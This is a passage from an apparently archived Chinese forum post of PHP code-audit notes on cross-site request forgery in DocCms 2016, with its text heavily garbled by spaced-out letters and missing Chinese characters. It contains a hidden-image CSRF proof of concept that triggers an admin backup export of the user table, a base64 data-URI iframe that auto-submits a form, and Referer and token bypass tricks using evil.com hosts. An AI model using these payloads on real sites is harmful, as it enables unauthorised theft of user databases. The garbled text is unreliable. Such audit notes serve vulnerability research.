[901] 2019-04-08_PHP代码审计笔记--CSRF跨站请求伪造

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-16
2019-04-08_PHP代码审计笔记--CSRF跨站请求伪造 P H P - - C S R F   B y p a s s   B y p a s s   2 0 1 9 - 0 4 - 0 8 0 x 0 1       C S R F C r o s s - s i t e   r e q u e s t   f o r g e r y w e b 0 x 0 1   C M S h t t p : / / w w w . d o c c m s . c o m D o c C m s 2 0 1 6   d o c c m s a d m i n i c o n t r o l l e r s s y s t e m b a c k . p h p , e x p o r t t a b l e s / s i z e l i m i t s q l 访 C S R F 1 C S R F d o c _ u s e r 2 线 C S R F 3 / d o c c m s / t e m p / d a t a f u n c t i o n   e x p o r t ( ) {         g l o b a l   $ d b , $ r e q u e s t , $ s i z e l i m i t , $ s t a r t r o w ;         $ t a b l e s = $ r e q u e s t [ ' t a b l e s ' ] ;         $ s i z e l i m i t = $ r e q u e s t [ ' s i z e l i m i t ' ] ;         i f ( $ r e q u e s t [ ' d o s u b m i t ' ] )         {                 $ f i l e i d   =   i s s e t ( $ r e q u e s t [ ' f i l e i d ' ] )   ?   $ r e q u e s t [ ' f i l e i d ' ]   :   1 ;                 i f ( $ f i l e i d = = 1   & &   $ t a b l e s )                   {                         i f ( ! i s s e t ( $ t a b l e s )   | |   ! i s _ a r r a y ( $ t a b l e s ) )                                   e c h o   " < s c r i p t > a l e r t ( ' ! ' ) ; w i n d o w . h i s t o r y . g o ( 0 ) ; < / s c r i p t > " ;                         $ r a n d o m   =   m t _ r a n d ( 1 0 0 0 0 0 ,   9 9 9 9 9 9 ) ;                         c a c h e _ w r i t e ( ' b a k u p _ t a b l e s . p h p ' ,   $ t a b l e s ) ;                 }                 e l s e                 {                         i f ( ! $ t a b l e s   =   c a c h e _ r e a d ( ' b a k u p _ t a b l e s . p h p ' ) )                                   e c h o   " < s c r i p t > a l e r t ( ' ! ' ) ; w i n d o w . h i s t o r y . g o ( - 1 ) ; < / s c r i p t > " ;                 }                 $ s q l d u m p   =   ' ' ;                 $ t a b l e i d   =   i s s e t ( $ r e q u e s t [ ' t a b l e i d ' ] )   ?   $ r e q u e s t [ ' t a b l e i d ' ]   -   1   :   0 ;                 $ s t a r t f r o m   =   i s s e t ( $ r e q u e s t [ ' s t a r t f r o m ' ] )   ?   i n t v a l ( $ r e q u e s t [ ' s t a r t f r o m ' ] )   :   0 ;                 $ t a b l e n u m b e r   =   c o u n t ( $ t a b l e s ) ;                 f o r ( $ i   =   $ t a b l e i d ;   $ i   <   $ t a b l e n u m b e r   & &   s t r l e n ( $ s q l d u m p )   <   $ s i z e l i m i t   *   1 0 2 4 ;   $ i + + )                 {                         $ s q l d u m p   . =   s q l _ d u m p t a b l e ( $ t a b l e s [ $ i ] ,   $ s t a r t f r o m ,   s t r l e n ( $ s q l d u m p ) ) ;                         $ s t a r t f r o m   =   0 ;                 }   < H 2 >   C R S F T e s t e r < / H 2 > < i m g   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 / a d m i n i / i n d e x . p h p ? m = s y s t e m & s = b a k u p & a = e x p o r t & t a b l e s [ ] = d o c _ u s e r & s i z e l i m i t = 2 0 4 8 & d o s u b m i t = "   w i d t h = " 0 "   h e i g h t = " 0 "   b o r d e r = " 0 " / >
4 / d o c c m s / t e m p / d a t a + 线 _ + 8 + 线 _ + 6 + d o c c m s _ 2 0 1 8 0 1 1 5 _ 3 0 8 0 3 4 _ 1 . s q l , 6 s q l 0 x 0 2         C S R F         1 T o k e n / R e f e r e r         2         3         4 H T T P   0 x 0 3   C S R F 使 R e f e r e r / T o k e n R e f e r e r 姿 姿 1 . R e f e r e r f t p : / / , h t t p : / / , h t t p s : / / , f i l e : / / , j a v a s c r i p t : , d a t a : H T M L f i l e : / / H T M L h t t p R e f e r e r d a t a : C S R F I E j a v a s c r i p t : h t t p : / / a . b . c o m / d   R e f e r e r C S R F P O C i f r a m e s r c C G I 2 . R e f e r e r c s r f x x x . c o m     r e f e r e r * . x x . c o m       < i m g   " c s r f " >       3 . R e f e r e r     r e f e r e r g o o g l e . c o m     g o o g l e . c o m   C S R F g o o g l e . c o m , < h t m l >         < b o d y >               < i f r a m e   s r c = " d a t a : t e x t / h t m l ; b a s e 6 4 , P G Z v c m 0 g b W V 0 a G 9 k P X B v c 3 Q g Y W N 0 a W 9 u P W h 0 d H A 6 L y 9 h L m I u Y 2 9 t L 2 Q + P G l u c H V 0 I H R 5 c G U 9 d G V 4 d C B u Y W 1 l P S d p Z C c g d m F s d W U 9 J z E y M y c v P j w v Z m 9 y b T 4 8 c 2 N y a X B 0 P m R v Y 3 V t Z W 5 0 L m Z v c m 1 z W z B d L n N 1 Y m 1 p d C g p O z w v c 2 N y a X B 0 P g = = "         < / d o b y > < / h t m l > < f o r m   m e t h o d = p o s t   a c t i o n = h t t p : / / a . b . c o m / d > < i n p u t   t y p e = t e x t   n a m e = ' i d '   v a l u e = ' 1 2 3 ' / > < / f o r m > < s c r i p t > d o c u m e n t . f o r m s [ 0 ] . s u b m i t ( ) ; < / s c r i p t > R e f e r f e r h t t p s : / / w w w . e v i l . c o m R e f e r f e r h t t p s : / / i m g . e v i l . c o m R e f e r e r h t t p s : / / w w w . g o o g l e . c o m / x x x . j s p R e f e r e r h t t p s : / / w w w . e v i l . c o m / w w w . g o o g l e . c o m / x x x . j s p R e f e r e r h t t p s : / / w w w . e v i l . c o m / w w w . g o o g l e . c o m / x x x . j s p . p h p
4 . r e f e r e r     R e f e r e r g o o g l e . c o m g o o g l e 1 2 6 . c o m   x . g o o g l e . c o m . x x x . c o m T o k e n 姿 姿 1 . T o k e n     t o k e n U R L t o k e n T o k e n t o k e n 2 . x s s C S R F     x s s 使 a j a x D O M T o k e n , 3 . T o k e n     T o k e n i d h a s h 4 . T o k e n     T o k e n R e f e r e r :   h t t p : / / m e m b e r . x x x . c o m R e f e r e r :   h t t p : / / m e m b e r . x x x . c o m . e v i l . c o m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则